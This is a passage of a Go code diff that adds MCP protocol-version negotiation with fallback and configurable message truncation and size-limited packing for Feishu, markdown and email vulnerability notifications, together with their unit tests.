+			"clientInfo":      map[string]any{"name": "artex", "version": "0.2"},
+		})
+		if err != nil {
+			if i+1 < len(versions) && isUnsupportedVersion(err) {
+				continue
+			}
+			return err
+		}
+		var negotiated struct {
+			ProtocolVersion string `json:"protocolVersion"`
+		}
+		c.mu.Lock()
+		if json.Unmarshal(result, &negotiated) == nil && negotiated.ProtocolVersion != "" {
+			c.protocol = negotiated.ProtocolVersion
+		}
+		c.initialized = true
+		c.mu.Unlock()
+		return c.notify(ctx, "notifications/initialized", map[string]any{})
 	}
-	return c.notify(ctx, "notifications/initialized", map[string]any{})
+	return fmt.Errorf("mcp: no supported protocol version")
+}
+
+// isUnsupportedVersion reports whether err is a server rejecting the offered
+// protocol version: the spec's "Unsupported protocol version" (JSON-RPC -32602,
+// or an HTTP 400 on the MCP-Protocol-Version header) or the
+// UNSUPPORTED_PROTOCOL_VERSION code some servers return instead.
+func isUnsupportedVersion(err error) bool {
+	msg := strings.ToLower(err.Error())
+	return strings.Contains(msg, "unsupported protocol version") ||
+		strings.Contains(msg, "unsupported_protocol_version")
 }
 
 // Tools lists the server's tools and adapts them to CoreTools.
@@ -438,17 +472,16 @@ func (c *Client) roundTrip(ctx context.Context, body rpcRequest, expectResp bool
 	}
 	req.Header.Set("Content-Type", "application/json")
 	req.Header.Set("Accept", "application/json, text/event-stream")
-	version := c.protocol
-	if version == "" {
-		version = protocolVersion
+	c.mu.Lock()
+	sid := c.sessionID
+	initialized, version := c.initialized, c.protocol
+	c.mu.Unlock()
+	if initialized && version != "" {
+		req.Header.Set("MCP-Protocol-Version", version)
 	}
-	req.Header.Set("MCP-Protocol-Version", version)
 	for k, v := range c.headers {
 		req.Header.Set(k, v)
 	}
-	c.mu.Lock()
-	sid := c.sessionID
-	c.mu.Unlock()
 	if sid != "" {
 		req.Header.Set("Mcp-Session-Id", sid)
 	}

mcphttp/client_test.go

@@ -73,3 +73,163 @@ func TestStreamableClientRequestTimeout(t *testing.T) {
 	}
 	_ = c3.Close()
 }
+
+// initRequest captures what the client sent for one MCP request.
+type initRequest struct {
+	method, header, bodyVersion string
+}
+
+func recordRequest(r *http.Request) (rpcRequest, initRequest) {
+	var req rpcRequest
+	_ = json.NewDecoder(r.Body).Decode(&req)
+	rec := initRequest{method: req.Method, header: r.Header.Get("MCP-Protocol-Version")}
+	if p, ok := req.Params.(map[string]any); ok {
+		rec.bodyVersion, _ = p["protocolVersion"].(string)
+	}
+	return req, rec
+}
+
+// TestStreamableClientProtocolVersions uses spec-shaped servers that each support
+// one version: they answer initialize with their own version, accept a request
+// without MCP-Protocol-Version, and reject any other header value. The client
+// must send no version header on initialize and the negotiated one afterwards.
+func TestStreamableClientProtocolVersions(t *testing.T) {
+	for _, supported := range []string{"2025-11-25", "2025-06-18", "2025-03-26"} {
+		t.Run(supported, func(t *testing.T) {
+			var seen []initRequest
+			srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				req, rec := recordRequest(r)
+				seen = append(seen, rec)
+				if rec.header != "" && rec.header != supported {
+					w.WriteHeader(http.StatusBadRequest)
+					fmt.Fprint(w, `{"code":"UNSUPPORTED_PROTOCOL_VERSION"}`)
+					return
+				}
+				w.Header().Set("Content-Type", "application/json")
+				switch req.Method {
+				case "initialize":
+					fmt.Fprintf(w, `{"jsonrpc":"2.0","id":%d,"result":{"protocolVersion":%q,"capabilities":{},"serverInfo":{"name":"t","version":"0"}}}`, req.ID, supported)
+				case "notifications/initialized":
+					w.WriteHeader(http.StatusAccepted)
+				case "tools/list":
+					fmt.Fprintf(w, `{"jsonrpc":"2.0","id":%d,"result":{"tools":[]}}`, req.ID)
+				default:
+					http.NotFound(w, r)
+				}
+			}))
+			defer srv.Close()
+
+			c, err := New(context.Background(), "t", srv.URL, nil, false, 0)
+			if err != nil {
+				t.Fatalf("connect: %v", err)
+			}
+			defer c.Close()
+			if _, err := c.Tools(context.Background()); err != nil {
+				t.Fatalf("tools/list: %v", err)
+			}
+			if c.protocol != supported {
+				t.Fatalf("negotiated protocol = %q", c.protocol)
+			}
+			var inits int
+			for _, rec := range seen {
+				if rec.method == "initialize" {
+					inits++
+					if rec.header != "" {
+						t.Fatalf("initialize carried MCP-Protocol-Version %q", rec.header)
+					}
+					if rec.bodyVersion != protocolVersion {
+						t.Fatalf("initialize offered %q, want %q", rec.bodyVersion, protocolVersion)
+					}
+					continue
+				}
+				if rec.header != supported {
+					t.Fatalf("%s carried MCP-Protocol-Version %q, want %q", rec.method, rec.header, supported)
+				}
+			}
+			if inits != 1 {
+				t.Fatalf("initialize attempts = %d, want 1", inits)
+			}
+		})
+	}
+}
+
+// TestStreamableClientVersionRejectionForms keeps the fallback loop honest for
+// servers that reject the initialize body version instead of negotiating: an
+// HTTP 400 "Unsupported protocol version", the JSON-RPC -32602 error from the
+// spec's example, and an unrelated failure that must not trigger a retry.
+func TestStreamableClientVersionRejectionForms(t *testing.T) {
+	cases := []struct {
+		name     string
+		reject   func(w http.ResponseWriter, id int)
+		fallback bool
+	}{
+		{"http 400", func(w http.ResponseWriter, _ int) {
+			http.Error(w, "Bad Request: Unsupported protocol version", http.StatusBadRequest)
+		}, true},
+		{"json-rpc -32602", func(w http.ResponseWriter, id int) {
+			w.Header().Set("Content-Type", "application/json")
+			fmt.Fprintf(w, `{"jsonrpc":"2.0","id":%d,"error":{"code":-32602,"message":"Unsupported protocol version","data":{"supported":["2025-06-18"],"requested":"2025-11-25"}}}`, id)
+		}, true},
+		{"unrelated 401", func(w http.ResponseWriter, _ int) {
+			http.Error(w, "unauthorized", http.StatusUnauthorized)
+		}, false},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			var inits []initRequest
+			var after []initRequest
+			srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				req, rec := recordRequest(r)
+				if req.Method == "initialize" {
+					inits = append(inits, rec)
+					if rec.bodyVersion != "2025-06-18" {
+						tc.reject(w, req.ID)
+						return
+					}
+				} else {
+					after = append(after, rec)
+				}
+				w.Header().Set("Content-Type", "application/json")
+				switch req.Method {
+				case "initialize":
+					fmt.Fprintf(w, `{"jsonrpc":"2.0","id":%d,"result":{"protocolVersion":"2025-06-18","capabilities":{},"serverInfo":{"name":"t","version":"0"}}}`, req.ID)
+				case "notifications/initialized":
+					w.WriteHeader(http.StatusAccepted)
+				default:
+					http.NotFound(w, r)
+				}
+			}))
+			defer srv.Close()
+
+			c, err := New(context.Background(), "t", srv.URL, nil, false, 0)
+			for _, rec := range inits {
+				if rec.header != "" {
+					t.Fatalf("initialize carried MCP-Protocol-Version %q", rec.header)
+				}
+			}
+			if !tc.fallback {
+				if err == nil {
+					_ = c.Close()
+					t.Fatal("expected connect error")
+				}
+				if len(inits) != 1 {
+					t.Fatalf("unrelated error retried: %d initialize attempts", len(inits))
+				}
+				return
+			}
+			if err != nil {
+				t.Fatalf("connect: %v", err)
+			}
+			defer c.Close()
+			if len(inits) != 2 || inits[0].bodyVersion != protocolVersion || inits[1].bodyVersion != "2025-06-18" {
+				t.Fatalf("fallback attempts = %+v", inits)
+			}
+			if c.protocol != "2025-06-18" {
+				t.Fatalf("negotiated protocol = %q", c.protocol)
+			}
+			if len(after) == 0 || after[0].method != "notifications/initialized" || after[0].header != "2025-06-18" {
+				t.Fatalf("requests after initialize = %+v", after)
+			}
+		})
+	}
+}

notify/event.go

@@ -79,4 +79,28 @@ type Message struct {
 	// HomeURL is the platform dashboard address (global public_base_url); empty
 	// means no dashboard entry is included.
 	HomeURL string
+	// Limits are the truncation limits to render with; nil means the defaults.
+	// A pointer because the zero value is meaningful (no truncation).
+	Limits *Limits
+}
+
+// Limits are the render-time truncation limits of a message, configured
+// globally (see the server's notify_summary_max_runes / notify_assets_max_shown
+// settings). In both fields 0 means no truncation; each channel's own length
+// cap remains the final guard.
+type Limits struct {
+	// SummaryRunes is how many characters the summary of a single push is
+	// compressed to.
+	SummaryRunes int
+	// AssetsShown is the maximum number of assets listed per vulnerability.
+	AssetsShown int
+}
+
+// limits returns the limits to render with, falling back to the defaults when
+// none were passed in.
+func (m Message) limits() Limits {
+	if m.Limits == nil {
+		return Limits{SummaryRunes: DefaultMaxSummaryRunes, AssetsShown: DefaultMaxAssetsShown}
+	}
+	return *m.Limits
 }

notify/feishu.go

@@ -121,52 +121,90 @@ func feishuSeverityTemplate(severity string) string {
 	}
 }
 
-// feishuMaxCardBytes is a conservative cap on card content. Feishu enforces a
-// size limit on cards and rejects the whole message when exceeded; pick a value
-// clearly below the official limit to also cover JSON wrapping overhead.
-const feishuMaxCardBytes = 24000
+// feishuMaxCardBytes is a conservative cap on card content. Feishu custom bots
+// reject a request body over 20 KB as a whole (not truncated); pick a value
+// clearly below that limit to also cover JSON wrapping overhead.
+const feishuMaxCardBytes = 16000
+
+// feishuEnvelopeBytes is the size of what Send serializes around the card when a
+// signing secret is configured (without one the request is smaller):
+//
+//	{"card":…,"msg_type":"interactive","sign":"<44 characters>","timestamp":"<10 digits>"}
+const feishuEnvelopeBytes = 113
 
 // feishuCard builds the interactive card and returns it along with the **number
 // of items actually written**. kept serves the same purpose as in markdownBody:
 // only items that actually made it into the card should be marked as sent.
 func feishuCard(m Message) (map[string]any, int) {
+	lim := m.limits()
+	// budget is the final truncation backstop for one item's text, the same role
+	// TruncateBytes plays in markdownBody. With the summary or asset limit set to
+	// 0 an item has no other bound, and an oversized card loses the whole message.
+	budget := feishuMaxCardBytes - markdownReservedBytes
+	card := map[string]any{
+		"config": map[string]any{"wide_screen_mode": true},
+		"header": map[string]any{"title": map[string]any{"tag": "plain_text", "content": markdownTitle(m)}},
+	}
+	if len(m.Items) > 0 {
+		card["header"].(map[string]any)["template"] = feishuSeverityTemplate(m.Items[0].Severity)
+	}
 	elements := []any{}
 	kept := 0
 	if m.Batch {
-		// Pack whole items first, then assemble the header: the header must state
-		// "the remaining N items will continue in the next message", and N must
-		// come from the number of items that actually fit.
-		kept = packItemCount(m.Items, feishuMaxCardBytes, markdownReservedBytes, "", byteSize, func(it Item, idx int) string {
-			return feishuBatchLine(it, idx+1)
-		})
-		items := m.Items[:kept]
-		elements = append(elements, feishuMarkdownDiv(markdownBatchIntro(m, items, len(m.Items))))
-		for i, it := range items {
-			elements = append(elements, feishuMarkdownDiv(feishuBatchLine(it, i+1)))
+		// digest assembles the elements of a digest card around the lines of its
+		// first n items. The intro must state "the remaining N items will continue
+		// in the next message", and N must come from the number of items that
+		// actually fit.
+		digest := func(n int, lines []any) []any {
+			out := []any{feishuMarkdownDiv(markdownBatchIntro(m, m.Items[:n], len(m.Items)))}
+			out = append(out, lines...)
+			if m.HomeURL != "" {
+				out = append(out, feishuButton("View all on the platform", m.HomeURL))
+			}
+			return out
 		}
-		if m.HomeURL != "" {
-			elements = append(elements, feishuButton("View all on the platform", m.HomeURL))
+		// Pack whole items (see packItemCount) against the request body as it will
+		// be serialized, not against the text of the lines. Each line is sent as
+		// its own element: about 52 bytes of JSON around the text, plus whatever
+		// the encoding escapes. Counted as text alone, several hundred short lines
+		// left as one request of more than twice the 20 KB limit. The rest of the
+		// body is measured too: it changes with the number of items kept (the
+		// intro) and with the platform link.
+		//
+		// The first item is always kept: otherwise one oversized item would jam
+		// the whole batch in place. Its text is truncated to budget.
+		var lines []any
+		used := 0
+		for i, it := range m.Items {
+			line := feishuMarkdownDiv(TruncateBytes(feishuBatchLine(it, i+1, lim), budget))
+			used += feishuJSONSize(line) + 1 // the element and its separating comma
+			card["elements"] = digest(i+1, nil)
+			if i > 0 && feishuEnvelopeBytes+feishuJSONSize(card)+used > feishuMaxCardBytes {
+				break
+			}
+			lines = append(lines, line)
 		}
+		kept = len(lines)
+		elements = digest(kept, lines)
 	} else if len(m.Items) > 0 {
 		kept = 1
 		it := m.Items[0]
-		elements = append(elements, feishuMarkdownDiv(feishuItemLines(it)))
+		elements = append(elements, feishuMarkdownDiv(TruncateBytes(feishuItemLines(it, lim), budget)))
 		if it.DetailURL != "" {
 			elements = append(elements, feishuButton("View details", it.DetailURL))
 		}
 	}
 
-	card := map[string]any{
-		"config":   map[string]any{"wide_screen_mode": true},
-		"header":   map[string]any{"title": map[string]any{"tag": "plain_text", "content": markdownTitle(m)}},
-		"elements": elements,
-	}
-	if len(m.Items) > 0 {
-		card["header"].(map[string]any)["template"] = feishuSeverityTemplate(m.Items[0].Severity)
-	}
+	card["elements"] = elements
 	return card, kept
 }
 
+// feishuJSONSize returns the number of bytes v takes in the request body.
+func feishuJSONSize(v any) int {
+	raw, _ := json.Marshal(v)
+	return len(raw)
+}
+
 func feishuMarkdownDiv(content string) map[string]any {
 	return map[string]any{"tag": "div", "text": map[string]any{"tag": "lark_md", "content": content}}
 }
@@ -189,7 +227,7 @@ func feishuButton(label, url string) map[string]any {
 // emphasis, so every field coming from outside goes through markdownText
 // (single-lining + escaping) — otherwise a single vulnerability title could turn
 // into a clickable external link inside Feishu.
-func feishuItemLines(it Item) string {
+func feishuItemLines(it Item, lim Limits) string {
 	out := fmt.Sprintf("**%s · %s**", SeverityLabel(it.Severity), markdownText(it.Title(), 0))
 	if it.IsStatusChange() {
 		out += fmt.Sprintf("\n**Status change**: %s → %s",
@@ -198,11 +236,11 @@ func feishuItemLines(it Item) string {
 	if it.VulnClass != "" && it.VulnClass != it.Title() {
 		out += fmt.Sprintf("\n**Type**: %s", markdownText(it.VulnClass, 0))
 	}
-	if a := assetLine(it.Assets, maxAssetsShown); a != "" {
+	if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
 		out += fmt.Sprintf("\n**Assets**: %s", markdownText(a, 0))
 	}
 	if it.Summary != "" {
-		if s := markdownText(it.Summary, maxSummaryRunes); s != "" {
+		if s := markdownText(it.Summary, lim.SummaryRunes); s != "" {
 			out += fmt.Sprintf("\n**Summary**: %s", s)
 		}
 	}
@@ -210,9 +248,9 @@ func feishuItemLines(it Item) string {
 }
 
 // feishuBatchLine renders one entry of a digest card.
-func feishuBatchLine(it Item, index int) string {
+func feishuBatchLine(it Item, index int, lim Limits) string {
 	line := fmt.Sprintf("**%d. %s · %s**", index, SeverityLabel(it.Severity), markdownText(it.Title(), 0))
-	if a := assetLine(it.Assets, maxAssetsShown); a != "" {
+	if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
 		line += " — " + markdownText(a, 0)
 	}
 	return line

notify/html.go

@@ -39,10 +39,10 @@ func htmlBody(m Message, maxRunes int) string {
 	if m.Batch {
 		b.WriteString(htmlBatchIntro(m))
 		for _, it := range m.Items {
-			b.WriteString(htmlItem(it, false))
+			b.WriteString(htmlItem(it, false, m.limits()))
 		}
 	} else if len(m.Items) > 0 {
-		b.WriteString(htmlItem(m.Items[0], true))
+		b.WriteString(htmlItem(m.Items[0], true, m.limits()))
 	}
 	if m.HomeURL != "" {
 		fmt.Fprintf(&b, `<p style="margin:16px 0 0;"><a href="%s" style="color:#1677ff;">View all on the platform</a></p>`, htmlEscapeAttr(m.HomeURL))
@@ -79,7 +79,7 @@ func htmlBatchIntro(m Message) string {
 
 // htmlItem renders a single vulnerability. full=true includes the summary and
 // backlink (single push); false compresses it into one line (digest list).
-func htmlItem(it Item, full bool) string {
+func htmlItem(it Item, full bool, lim Limits) string {
 	color := htmlSeverityColor(it.Severity)
 	var b strings.Builder
 	if full {
@@ -92,7 +92,7 @@ func htmlItem(it Item, full bool) string {
 
 	if !full {
 		var extras []string
-		if a := assetLine(it.Assets, maxAssetsShown); a != "" {
+		if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
 			extras = append(extras, htmlEscape(a))
 		}
 		if it.Summary != "" {
@@ -112,10 +112,10 @@ func htmlItem(it Item, full bool) string {
 	if it.VulnClass != "" && it.VulnClass != it.Title() {
 		fmt.Fprintf(&b, `<div><b>Type</b>: %s</div>`, htmlEscape(it.VulnClass))
 	}
-	if a := assetLine(it.Assets, maxAssetsShown); a != "" {
+	if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
 		fmt.Fprintf(&b, `<div><b>Assets</b>: %s</div>`, htmlEscape(a))
 	}
-	if s := OneLine(it.Summary, maxSummaryRunes); s != "" {
+	if s := OneLine(it.Summary, lim.SummaryRunes); s != "" {
 		fmt.Fprintf(&b, `<div><b>Summary</b>: %s</div>`, htmlEscape(s))
 	}
 	if it.DetailURL != "" {

notify/limits_test.go

@@ -0,0 +1,183 @@
+package notify
+
+import (
+	"context"
+	"io"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+	"unicode/utf8"
+)
+
+// This file covers the configurable render limits (Message.Limits). The summary
+// length and the number of assets listed used to be the fixed constants 120 / 3;
+// they now come from the caller, with 0 meaning "no truncation" and nil meaning
+// "the old defaults".
+
+// limitsItem returns an item whose summary (200 characters) and asset list (8)
+// both exceed the defaults. It contains no markdown/HTML metacharacters, so
+// every renderer emits the text verbatim and one set of assertions fits all.
+func limitsItem() Item {
+	assets := make([]string, 8)
+	for i := range assets {
+		assets[i] = "host" + itoa(i+1)
+	}
+	return Item{Severity: "high", Name: "title", Summary: strings.Repeat("Z", 200), Assets: assets}
+}
+
+// feishuContent returns the lark_md text of the card's element idx.
+func feishuContent(t *testing.T, m Message, idx int) string {
+	t.Helper()
+	card, _ := feishuCard(m)
+	elements, _ := card["elements"].([]any)
+	if idx >= len(elements) {
+		t.Fatalf("card has %d elements, cannot get element %d", len(elements), idx)
+	}
+	div, _ := elements[idx].(map[string]any)
+	text, _ := div["text"].(map[string]any)
+	content, _ := text["content"].(string)
+	return content
+}
+
+// limitsRenderings returns the body of every channel family that applies the
+// limits. For a digest, the Feishu entry is the first item line (element 0 is
+// the intro).
+func limitsRenderings(t *testing.T, m Message) map[string]string {
+	t.Helper()
+	md, _ := markdownBody(m, 0)
+	tg, _ := telegramHTML(m)
+	feishuIdx := 0
+	if m.Batch {
+		feishuIdx = 1
+	}
+	return map[string]string{
+		"markdown": md,
+		"feishu":   feishuContent(t, m, feishuIdx),
+		"telegram": tg,
+		"email":    htmlBody(m, 0),
+	}
+}
+
+func TestMessageLimitsApplyToSinglePush(t *testing.T) {
+	cases := []struct {
+		name  string
+		lim   *Limits
+		must  []string
+		wrong []string
+	}{
+		{
+			name:  "unset keeps the 120 / 3 defaults",
+			lim:   nil,
+			must:  []string{strings.Repeat("Z", 119) + ellipsis, "host1, host2, host3 and 5 more"},
+			wrong: []string{strings.Repeat("Z", 120), "host4"},
+		},
+		{
+			name:  "zero means no truncation",
+			lim:   &Limits{},
+			must:  []string{strings.Repeat("Z", 200), "host7, host8"},
+			wrong: []string{ellipsis, " more"},
+		},
+		{
+			name:  "custom values",
+			lim:   &Limits{SummaryRunes: 10, AssetsShown: 1},
+			must:  []string{strings.Repeat("Z", 9) + ellipsis, "host1 and 7 more"},
+			wrong: []string{strings.Repeat("Z", 10), "host2"},
+		},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			m := Message{Items: []Item{limitsItem()}, Limits: tc.lim}
+			for channel, got := range limitsRenderings(t, m) {
+				for _, want := range tc.must {
+					if !strings.Contains(got, want) {
+						t.Errorf("%s: missing %q:\n%s", channel, want, got)
+					}
+				}
+				for _, bad := range tc.wrong {
+					if strings.Contains(got, bad) {
+						t.Errorf("%s: %q should not appear:\n%s", channel, bad, got)
+					}
+				}
+			}
+		})
+	}
+}
+
+// TestMessageLimitsApplyToDigestAssets covers the digest lines, which list the
+// assets too. The digest summary is not governed by Limits.SummaryRunes: it
+// stays at its own fixed 60 characters (markdown and email), a digest being a
+// list of one-liners.
+func TestMessageLimitsApplyToDigestAssets(t *testing.T) {
+	m := Message{Batch: true, Items: []Item{limitsItem()}}
+	for channel, got := range limitsRenderings(t, m) {
+		if !strings.Contains(got, "host1, host2, host3 and 5 more") {
+			t.Errorf("%s: unset should keep 3 assets:\n%s", channel, got)
+		}
+	}
+	m.Limits = &Limits{}
+	for channel, got := range limitsRenderings(t, m) {
+		if !strings.Contains(got, "host7, host8") || strings.Contains(got, " more") {
+			t.Errorf("%s: 0 should list every asset:\n%s", channel, got)
+		}
+		if strings.Contains(got, strings.Repeat("Z", 60)) {
+			t.Errorf("%s: the digest summary should stay within 60 characters:\n%s", channel, got)
+		}
+	}
+}
+
+// TestFeishuUntruncatedItemStaysWithinBodyLimit is the guard that goes with
+// "0 = no truncation". Feishu custom bots reject a request body over 20 KB as a
+// whole, so an unbounded summary or asset list would not arrive shortened — it
+// would not arrive at all. The body measured here is the real one sent on the
+// wire, signature included.
+func TestFeishuUntruncatedItemStaysWithinBodyLimit(t *testing.T) {
+	const feishuBodyLimit = 20000
+
+	huge := limitsItem()
+	huge.DetailURL = "https://artex.local/function/findings/detail?id=42"
+	// 36000 bytes of CJK: also checks that the cut lands on a character boundary.
+	huge.Summary = strings.Repeat("漏洞摘要", 3000)
+	huge.Assets = nil
+	for i := 0; i < 1500; i++ {
+		huge.Assets = append(huge.Assets, "host"+itoa(i+1)+".example.com")
+	}
+
+	cases := []struct {
+		name string
+		m    Message
+		idx  int
+	}{
+		{"single push", Message{Items: []Item{huge}, Limits: &Limits{}}, 0},
+		{"digest whose first item is oversized", Message{
+			Batch: true, WindowMinutes: 30, HomeURL: "https://artex.local/function/findings",
+			Items: []Item{huge, huge}, Limits: &Limits{},
+		}, 1},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			size := 0
+			srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				raw, _ := io.ReadAll(r.Body)
+				size = len(raw)
+				_, _ = io.WriteString(w, `{"code":0,"msg":"success"}`)
+			}))
+			defer srv.Close()
+
+			kept, err := (feishuChannel{}).Send(context.Background(), map[string]any{"webhook": srv.URL, "secret": "SECtest123"}, tc.m)
+			if err != nil {
+				t.Fatalf("delivery failed: %v", err)
+			}
+			if kept != 1 {
+				t.Fatalf("exactly the first item should be reported as delivered, got %d", kept)
+			}
+			if size == 0 || size > feishuBodyLimit {
+				t.Fatalf("request body of %d bytes, want 1..%d", size, feishuBodyLimit)
+			}
+			content := feishuContent(t, tc.m, tc.idx)
+			if !utf8.ValidString(content) || !strings.HasSuffix(content, ellipsis) {
+				t.Fatalf("the item should be cut on a character boundary and end with an ellipsis, got tail %q", content[len(content)-12:])
+			}
+		})
+	}
+}

notify/markdown.go

@@ -9,16 +9,16 @@ import (
 // (DingTalk, WeCom). Feishu uses card JSON, Telegram uses HTML, and email uses
 // HTML; each renders in its own adapter.
 
-// maxAssetsShown is the maximum number of assets listed in a message. A
-// vulnerability can be anchored to dozens of assets; listing them all would blow
-// up the message with no informational value — nobody reads the 4th domain
-// onwards in an IM.
-const maxAssetsShown = 3
+// DefaultMaxAssetsShown is the default maximum number of assets listed in a
+// message (Limits.AssetsShown). A vulnerability can be anchored to dozens of
+// assets; listing them all would blow up the message with no informational
+// value — nobody reads the 4th domain onwards in an IM.
+const DefaultMaxAssetsShown = 3
 
-// maxSummaryRunes is how many characters the summary is compressed to. An IM
-// message is a "go look at the details" hint, not the report itself; the full
-// content lives on the platform.
-const maxSummaryRunes = 120
+// DefaultMaxSummaryRunes is the default number of characters the summary is
+// compressed to (Limits.SummaryRunes). An IM message is a "go look at the
+// details" hint, not the report itself; the full content lives on the platform.
+const DefaultMaxSummaryRunes = 120
 
 // markdownReservedBytes is reserved for the message header (digest line +
 // severity distribution + possible truncation notice) and footer (platform
@@ -114,7 +114,7 @@ func markdownBody(m Message, maxBytes int) (string, int) {
 			return "", 0
 		}
 		var b strings.Builder
-		writeItem(&b, m.Items[0], "", true)
+		writeItem(&b, m.Items[0], "", true, m.limits())
 		// A single message is sent even if oversized (with final truncation as
 		// the backstop): partial information about one vulnerability is better
 		// than sending nothing at all.
@@ -127,7 +127,7 @@ func markdownBody(m Message, maxBytes int) (string, int) {
 	}
 	kept := packItemCount(m.Items, maxBytes, markdownReservedBytes, footer, byteSize, func(it Item, idx int) string {
 		var b strings.Builder
-		writeItem(&b, it, fmt.Sprintf("%d. ", idx+1), false)
+		writeItem(&b, it, fmt.Sprintf("%d. ", idx+1), false, m.limits())
 		return b.String()
 	})
 
@@ -135,7 +135,7 @@ func markdownBody(m Message, maxBytes int) (string, int) {
 	var b strings.Builder
 	b.WriteString(markdownBatchIntro(m, items, len(m.Items)))
 	for i, it := range items {
-		writeItem(&b, it, fmt.Sprintf("%d. ", i+1), false)
+		writeItem(&b, it, fmt.Sprintf("%d. ", i+1), false, m.limits())
 	}
 	b.WriteString(footer)
 	return TruncateBytes(b.String(), maxBytes), kept
@@ -191,13 +191,13 @@ func markdownBatchIntro(m Message, items []Item, total int) string {
 // markdownText: single-lining + escaping. The backlink is built from the
 // admin-configured public_base_url, is not untrusted content, and must be a
 // clickable link, so it is emitted as-is.
-func writeItem(b *strings.Builder, it Item, prefix string, single bool) {
+func writeItem(b *strings.Builder, it Item, prefix string, single bool, lim Limits) {
 	line := fmt.Sprintf("%s**%s · %s**", prefix, SeverityLabel(it.Severity), markdownText(it.Title(), 0))
 	if !single {
 		// Digest mode: single-line presentation, with assets and summary
 		// compressed and appended.
 		var extras []string
-		if a := assetLine(it.Assets, maxAssetsShown); a != "" {
+		if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
 			extras = append(extras, markdownText(a, 0))
 		}
 		if it.Summary != "" {
@@ -217,11 +217,11 @@ func writeItem(b *strings.Builder, it Item, prefix string, single bool) {
 	if it.VulnClass != "" && it.VulnClass != it.Title() {
 		fmt.Fprintf(b, "**Type**: %s\n", markdownText(it.VulnClass, 0))
 	}
-	if a := assetLine(it.Assets, maxAssetsShown); a != "" {
+	if a := assetLine(it.Assets, lim.AssetsShown); a != "" {
 		fmt.Fprintf(b, "**Assets**: %s\n", markdownText(a, 0))
 	}
 	if it.Summary != "" {
-		if s := markdownText(it.Summary, maxSummaryRunes); s != "" {
+		if s := markdownText(it.Summary, lim.SummaryRunes); s != "" {
 			fmt.Fprintf(b, "**Summary**: %s\n", s)
 		}
 	}

notify/pack_test.go

@@ -1,6 +1,11 @@
 package notify
 
 import (
+	"context"
+	"encoding/json"
+	"io"
+	"net/http"
+	"net/http/httptest"
 	"strings"
 	"testing"
 	"unicode/utf8"
@@ -105,6 +110,112 @@ func TestFeishuPackingReportsKept(t *testing.T) {
 	}
 }
 
+// TestFeishuDigestBodiesStayWithinCardLimit covers digests of many short items.
+//
+// Every digest line is sent as its own card element, which costs about 52 bytes
+// of JSON around the text plus whatever the encoding escapes. The packing used
+// to count the text only, so a digest of several hundred short lines left as one
+// request of more than twice Feishu's 20 KB limit, and Feishu rejects such a
+// request as a whole.
+//
+// The digest is sent the way the delivery engine does it: the items a message
+// did not hold go into the next one. The bodies measured are the real ones sent
+// on the wire, signature included. No item may be lost on the way: across the
+// messages, every item appears exactly once and in order.
+func TestFeishuDigestBodiesStayWithinCardLimit(t *testing.T) {
+	const total = 500
+
+	short := batchMsg(total)
+	for i := range short.Items {
+		short.Items[i].Assets = nil
+	}
+	// The JSON encoding escapes quotes, angle brackets and ampersands, and the
+	// backslashes the lark_md escaping put in before it: these titles take
+	// several times their length once serialized.
+	escaped := batchMsg(total)
+	for i := range escaped.Items {
+		escaped.Items[i].Name = `<a href="x">R&D</a> vuln` + itoa(i+1)
+	}
+
+	cases := []struct {
+		name string
+		m    Message
+	}{
+		{"short lines without assets", short},
+		{"short lines with one asset", batchMsg(total)},
+		{"lines that grow when serialized", escaped},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			var raw []byte
+			srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+				raw, _ = io.ReadAll(r.Body)
+				_, _ = io.WriteString(w, `{"code":0,"msg":"success"}`)
+			}))
+			defer srv.Close()
+			cfg := map[string]any{"webhook": srv.URL, "secret": "SECtest123"}
+
+			m := tc.m
+			seen, messages := 0, 0
+			for len(m.Items) > 0 {
+				kept, err := (feishuChannel{}).Send(context.Background(), cfg, m)
+				if err != nil {
+					t.Fatalf("message %d: delivery failed: %v", messages+1, err)
+				}
+				messages++
+				if len(raw) > feishuMaxCardBytes {
+					t.Fatalf("message %d: request body of %d bytes exceeds the limit of %d (%d of %d items left to send)",
+						messages, len(raw), feishuMaxCardBytes, len(m.Items), total)
+				}
+				var body struct {
+					Card json.RawMessage `json:"card"`
+				}
+				var card struct {
+					Elements []struct {
+						Tag  string `json:"tag"`
+						Text struct {
+							Content string `json:"content"`
+						} `json:"text"`
+					} `json:"elements"`
+				}
+				if err := json.Unmarshal(raw, &body); err != nil {
+					t.Fatalf("message %d: request body is not valid JSON: %v", messages, err)
+				}
+				if err := json.Unmarshal(body.Card, &card); err != nil {
+					t.Fatalf("message %d: card is not valid JSON: %v", messages, err)
+				}
+				// The packing counts what Send adds around the card as a constant.
+				if got := len(raw) - len(body.Card); got != feishuEnvelopeBytes {
+					t.Fatalf("message %d: %d bytes around the card, feishuEnvelopeBytes says %d", messages, got, feishuEnvelopeBytes)
+				}
+				// Element 0 is the intro; the button, when present, is not a div.
+				lines := 0
+				for _, el := range card.Elements[1:] {
+					if el.Tag != "div" {
+						continue
+					}
+					lines++
+					if want := "vuln" + itoa(seen+lines) + "**"; !strings.Contains(el.Text.Content, want) {
+						t.Fatalf("message %d: line %d should be item %d (%q), got %q", messages, lines, seen+lines, want, el.Text.Content)
+					}
+				}
+				if kept <= 0 || kept != lines {
+					t.Fatalf("message %d: %d items reported as delivered, the body holds %d", messages, kept, lines)
+				}
+				t.Logf("message %d: %d items, %d bytes", messages, kept, len(raw))
+				seen += kept
+				m.Items = m.Items[kept:]
+			}
+			if seen != total {
+				t.Fatalf("%d items went out across %d messages, want %d", seen, messages, total)
+			}
+			if messages < 2 {
